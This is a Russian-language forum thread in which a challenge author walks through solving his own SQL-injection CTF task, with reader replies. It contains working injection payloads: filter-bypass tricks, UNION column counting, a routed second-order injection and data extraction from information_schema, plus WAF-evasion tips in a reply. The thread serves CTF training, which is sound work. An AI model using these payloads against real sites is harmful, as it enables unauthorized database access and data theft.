Статья SQL-injection challenge write-up

  • Автор темы Автор темы explorer
  • Дата начала Дата начала
Всем привет!

На днях проходил конкурс по SQL-injection. И сегодня я расскажу вам как нужно было проходить задание. Этот райтап будет больше чем прохождение конкретного таска. Здесь я буду освещать логический подход к внедрению произвольного кода sql. Многие из вас, смогут для себя узнать полезные детали.

Рассказывать буду подробно, шаг за шагом.

Шаг 1 - найти точку входа в инъекцию.

На странице таска мы не видим какой-либо формы в явном виде, также в исходном коде нет скрытой формы.

1.png


Стало быть с большой долей вероятности уязвимость будет в GET запросе. Чаще всего обращение к базе идёт через какой-нибудь параметр. Пробовать нужно всегда с самого простого и распространённого, что я и сделал в таске. Получилось, вывод на странице поменялся. Попали с первого раза. Кто не догадался, тот легко мог узнать страницу с параметром с помощью какого-либо фаззера.
/?id=1

2.png


Теперь нужно проверить, а есть ли здесь инъекция? Конечно же начинать нужно опять с самого простого - подстановкой одинарной кавычки.

/?id=1'

3.png


Ага, получили алерт, значит инъекция присутствует. В этом месте все участники подумали что кавычка блокируется, и это логично на первый взгляд. Однако не будем торопиться с выводами. Попробуем другие варианты.
/?id=1" никакой реакции
/?id=1\ алерт

Хмм... Обратный слэш тоже дал алерт, тоже фильтруется? В реальности фильтрация бэкслэша встречается совсем не часто, как раз наоборот он используется для экранирования потенциально опасных спецсимволов. Странновато выглядит. На самом деле здесь произошла ошибка базы данных в обоих случаях, но вместо ошибки я вывел на экран картинку. Таким образом мне удалось запутать и юзеров, и автоматические программы. Так как и ошибка базы, и срабатывание фильтра, приводят к одному и тому же результату - выводу алерта с картинкой.

Шаг 2 - узнать правильный комментарий.

/?id=1'-- -
Не прокатило, может пробел блочит, попробуем по-другому.
/?id=1'--+ Тоже мимо, значит блочит двойной дефис или + или то и другое вместе.
/?id=1'# Шарп тоже не сработал.
/?id=1';%00 Оп-па, сработало! Старичок нулль-байт не подвёл )

Шаг 3 - выявляем фильтр.

Как всегда начинать нужно с самого простого, используя логические операторы, например так:
/?id=1'and true;%00 Алерт
/?id=1'or true;%00 Алерт

Оба запроса вызвали алерт. Что мы видим в этих запросах - or, and и пробел. Кстати для некоторых я "Америку открою" - после кавычки пробел писать не нужно, так как после неё оригинальный запрос сломан, и наш запрос начинается с первого символа, то есть пробел не нужен. Начнём с пробела, и заменим его на строчный комментарий /**/.

/?id=1'and/**/true;%00 Алерт
/?id=1'or/**/true;%00 Алерт

Пока мимо. Теперь заменим and и or на || и &&

/?id=1'&&/**/true;%00 Алерт
/?id=1'||/**/true;%00 Сработало!

4.png



Ага, есть первая ласточка, с or прокатило. Теперь применим к && URL-кодирование. Очень мало, кто догадался про это.

/?id=1'%26%26/**/true;%00 Сработало!

5.png


Кстати, когда применяется URL-кодирование, а также когда логические операторы меняются на символы, то пробелы вовсе можно отбросить и всё прекрасно будет работать.
/?id=1'||true;%00
/?id=1'%26%26true;%00


Сделаем ещё тест

/?id=1'%26%26false;%00 Получили начальную страницу.

6.png



Вот и чудненько! Благодаря серии коротких тестов мы уже выявили что под фильтр точно попали and, or, #, пробел. А также узнали логику, при истине выводится Money: 500000 а если ложь You Hacker??? Большинство участников конкурса погорели на том, что бросились сразу в бой с длинными запросами. Как видите неспешное тестирование дало уже хорошую информацию для дальнейшей раскрутки.
Теперь можно двигаться дальше. Раз мы уже поняли, что ошибки mysql не выводятся, то запрос типа grop by 10 нам не поможет. Будем подбирать количество столбцов через union, отбросив первый запрос несуществующим id -1.

Шаг 4 - узнаём количество колонок в запросе.

-1'union/**/select/**/1;%00 Алерт
-1'union/**/select/**/1,2;%00 Есть начальная страница

7.png


-1'union/**/select/**/1,2,3;%00 Алерт

Отлично! Теперь мы знаем что в запросе 2 колонки. Правда не знаем пока какая из них уязвима, поэтому отправим запрос в обоих колонках.

-1'union/**/select/**/version(),database();%00 Что за ерунда? Ничего не выводится.

Вот на этом моменте(кто досюда дошёл), застряли все участники. Новички конечно не знают эту фичу, а другие просто не просекли тему сразу. Если мы смогли узнать верное количество колонок, а вывода нет, то это может указывать на routed sql - маршрутизируемую инъекцию. Такое происходит когда запрос к базе идёт, но не выводит ответ на экран, а передаёт во второй запрос. То есть на странице имеются сразу 2 запроса к базе, получается "инъекция в инъекции".

123.jpg


Как тогда это можно проверить? Будем в каждую колонку по-очереди внедрять второй запрос.

-1'union/**/select/**/"1'",2;%00 Начальная страница.
-1'union/**/select/**/1,"2'";%00 Сработал алерт, значит 2-я колонка уязвима.

Почему здесь двойные кавычки??? Посмотрите на второй запрос к базе
$sql="SELECT column_name FROM table_name WHERE Name='".$row['Name']."'";

Так как внутри одинарных кавычек мы не можем второй раз использовать одинарные, то обрамляем вывод двойными. С этим моментом разобрались, пора уже приступать к вытаскиванию данных.

Шаг 5 - узнаём количество колонок во втором запросе.

-1'union/**/select/**/1,"2'/**/union/**/select/**/1;%00";%00

0.png


-1'union/**/select/**/1,"2'/**/union/**/select/**/1,2;%00";%00 Алерт

Во втором запросе колонка одна.

Шаг 6 - узнаём текущую базу

-1'union/**/select/**/1,"2'/**/union/**/select/**/database();%00";%00

8.png


Ура! Получили первый реальный вывод информации Money: a271150_1

Шаг 7 - тащим имена таблиц.

-1'union/**/select/**/1,"2'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema='a271150_1';%00";%00

Упсс! Что-то пошло не так... На этом месте много копий было сломано. Смотрите внимательно, в information_schema.tables включен OR который у нас фильтруется. Обойти эту неприятность можно разными способами, например вставить %0A между O и R.

Можно использовать что-то из этого списка:

%09 – горизонтальная табуляция
%0A – символ новой строки
%0D – возврат каретки
%0B – вертикальная табуляция
%0C – символ новой страницы


-1'union/**/select/**/1,"2'/**/union/**/select/**/table_name/**/from/**/info%0Armation_schema.tables/**/where/**/table_schema='a271150_1';%00";%00

И опять нас поджидает неудача. Есть ли у вас план мистер Фикс?

fiks.png


Да у меня целых 3 плана! Попробуем оператор сравнения like.

-1'union/**/select/**/1,"2'/**/union/**/select/**/table_name/**/from/**/info%0Armation_schema.tables/**/where/**/table_schema/**/like'a271150_1';%00";%00

9.png


Фантастика, сработало! Но мы видим только одну таблицу, а их может быть много.

Есть ли у вас план мистер Фикс?
Есть целых 2 плана:
Первый -
вытащить таблицы через limit
Второй - через group_concat

Какой же вариант выбрать мистер Фикс?
Если таблиц много, то через limit может быть долго. Значит через group_concat. Гениально мистер Фикс!

fiks.jpg


-1'union/**/select/**/1,"2'/**/union/**/select/**/group_concat(table_name)/**/from/**/info%0Armation_schema.tables/**/where/**/table_schema/**/like'a271150_1';%00";%00

10.png


Итак, таблицы у нас всего две.

Шаг 8 - вытаскиваем имена колонок.

-1'union/**/select/**/1,"2'/**/union/**/select/**/group_concat(column_name)/**/from/**/info%0Armation_schema.columns/**/where/**/table_name/**/like'xz';%00";%00
Money: ID,_Name_,Text

-1'union/**/select/**/1,"2'/**/union/**/select/**/group_concat(column_name)/**/from/**/info%0Armation_schema.columns/**/where/**/table_name/**/like'fantastik';%00";%00
Money: ID,Name,Money

Шаг 9 - вытаскиваем данные из колонок.

-1'union/**/select/**/1,"2'/**/union/**/select/**/group_concat(0x3c62723e,ID,0x3a,Name,0x3a,Money)/**/from/**/fantastik;%00";%00


11.png


Да, secret_key тут явно отсутствует, дёргаем данные из второй таблицы.

-1'union/**/select/**/1,"2'/**/union/**/select/**/group_concat(0x3c62723e,ID,0x3a,_Name_,0x3a,Text)/**/from/**/xz;%00";%00

12.png


Победа!

Хочу объяснить ещё такой момент, который для многих остаётся непонятным. Когда мы вытащили имена колонок, то их оказалось 3. А в запросе у нас было 2, а во втором запросе и вовсе одна. Как так??? На самом деле всё просто - количество колонок в запросе не обязательно должно быть равно количеству колонок в таблице. Если допустим у меня есть страница в блоге, где рассказывается про животных, то нет смысла выводить из базы данные из разряда автомобилей, и наоборот. Более того, на разных страницах одной тематики можно создать запросы, которые будут отличаться количеством вывода колонок.

Ну вот и всё друзья, как видите неспешный вдумчивый подход, является ключом к успеху. Начинайте тесты всегда с малого, тогда получите большее )
До новых встреч!
 
Таск прекрасен, но хексить в роутед SQL все равно удобнее, не нужно мозгоправства с /**/ и т.п. К тому же этот способ упрощает эксплуатацию, когда например ваф срабатывает на information_schema.tables,select и т.п. Тут не надо шаманить с /*!012345*/ Sel/**/ect и т.п.
 
  • Нравится
Реакции: ace911
Даров, речь о каких фазерах поделитесь линками, (Это типа dirb?)
 
Таск прекрасен, но хексить в роутед SQL все равно удобнее, не нужно мозгоправства с /**/ и т.п. К тому же этот способ упрощает эксплуатацию, когда например ваф срабатывает на information_schema.tables,select и т.п. Тут не надо шаманить с /*!012345*/ Sel/**/ect и т.п.
Можно и хексить и чарить, но только если это не заблочено, верно? Я сначала хотел сделать таск сложнее, но вовремя передумал. Сейчас уже вижу, что пока многие не готовы для сложных задач. Но они будут, так как есть желающие, и я постарался подробно разъяснить подход к решению. В другой раз уже меньше проколов будет однозначно.
 
  • Нравится
Реакции: Goodkid и MrBa
Даров, речь о каких фазерах поделитесь линками, (Это типа dirb?)
Нет, dirb не подойдёт, а вот словари от dirb вполне. Рекомендую wfuzz в Kali уже стоит. Затестил на локалке:

wfuzz.png


Как видно фаззер нашёл все рабочие значения.
 
  • Нравится
Реакции: ace911
Darov, what kind of phasers are you talking about, share links, (Is this like dirb?)
 
explorer - привет, почему я сейчас немогу пройти етот тест? Я хотел протестить по твоєму врайт апу, так как сам юзал sqlmap для етого теста и дальше зависания на слепой инекции не прошол. SQLmap не помог.

Код:
Шаг 4 - узнаём количество колонок в запросе.

-1'union/**/select/**/1;%00 Алерт - Сработал
-1'union/**/select/**/1,2;%00 Есть начальная страница - Нету начальной страницы

У меня уже не работает второй запрос на 2 колонки. Запрос на 1,2 или 3 колонки выдает фотку хакера, ты уже отключил етот сервек или я делаю чтото не так?
 
explorer - привет, почему я сейчас немогу пройти етот тест? Я хотел протестить по твоєму врайт апу, так как сам юзал sqlmap для етого теста и дальше зависания на слепой инекции не прошол. SQLmap не помог.

Код:
Шаг 4 - узнаём количество колонок в запросе.

-1'union/**/select/**/1;%00 Алерт - Сработал
-1'union/**/select/**/1,2;%00 Есть начальная страница - Нету начальной страницы

У меня уже не работает второй запрос на 2 колонки. Запрос на 1,2 или 3 колонки выдает фотку хакера, ты уже отключил етот сервек или я делаю чтото не так?
Вот почему таск изменён, фильтрация усилена. Так никто и не решил. Смотрел логи, один кто-то наполовину сделал и забросил.
 
А нафиг это в ред сунули? Мы этот таск заюзаем в CTF?
 
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab

Похожие темы